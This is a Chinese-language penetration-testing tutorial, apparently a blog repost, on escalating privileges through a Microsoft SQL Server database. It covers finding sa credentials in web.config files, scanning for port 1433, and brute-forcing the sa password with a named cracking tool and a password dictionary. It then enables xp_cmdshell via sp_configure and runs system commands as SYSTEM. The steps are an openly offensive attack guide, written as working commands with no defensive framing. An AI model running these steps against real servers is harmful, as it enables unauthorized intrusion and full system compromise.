内网渗透之——mssql数据库提权之——xp_cmdshell执行系统命令

条件

所谓利用数据进行提权,利用的其实是数据库的运行权限,所以只要我们满足以下条件即可进行提权:
1、 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。
2、 必须可以以某种方式执行sql语句,例如:webshell或者是1433端口的连接。

提权基本思路过程与原理

1.MSSQL在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比管理员小;而在2003以上的版本,则为最高权限。
2.获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net(aspx)的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
3.通过端口扫描查看1433(mssql默认端口)是否对外开放,如果对外开放可使用远程连接,使用sql连接器连接进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。
4.sa作为mssql的默认最高权限的账户,在正常情况下,可以通过xp_cmdshell等方式执行系统命令。

此处介绍另一种方法:利用爆破不上传websheel进行提权

1.使用nmap进行端口扫描,查看1433端口是否开放,如果开放即可远程连接

2.使用华军1433弱密码口令扫描工具爆破sa用户密码
命令行安装路径下输入以下命令(ip.txt里写要爆破的ip,pass.txt里是字典,写好后都放到安装目录下),就会在安装路径里生成1.txt文件,里面记录了扫描结果

exeHack1.exe -i ip.txt -p pass.txt -o 1.txt

内网渗透之——mssql数据库提权之——xp_cmdshell执行系统命令_第1张图片

3.navicat sql server利用sa用户远程连接

内网渗透之——mssql数据库提权之——xp_cmdshell执行系统命令_第2张图片

4.之后使用xp_cmdshell执行系统命令

4.1 开启xp_cmdshell扩展存储过程

navicat sql server里新建查询,输入以下命令:(1开启,0关闭,关闭时从下往上依次关闭)

use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

内网渗透之——mssql数据库提权之——xp_cmdshell执行系统命令_第3张图片

4.2 执行系统命令
新建查询,输入以下命令,可看到当前用户为system,之后whoami处替换命令即可

use master;
exec master..xp_cmdshell "whoami";

内网渗透之——mssql数据库提权之——xp_cmdshell执行系统命令_第4张图片

你可能感兴趣的:(渗透测试(内网渗透))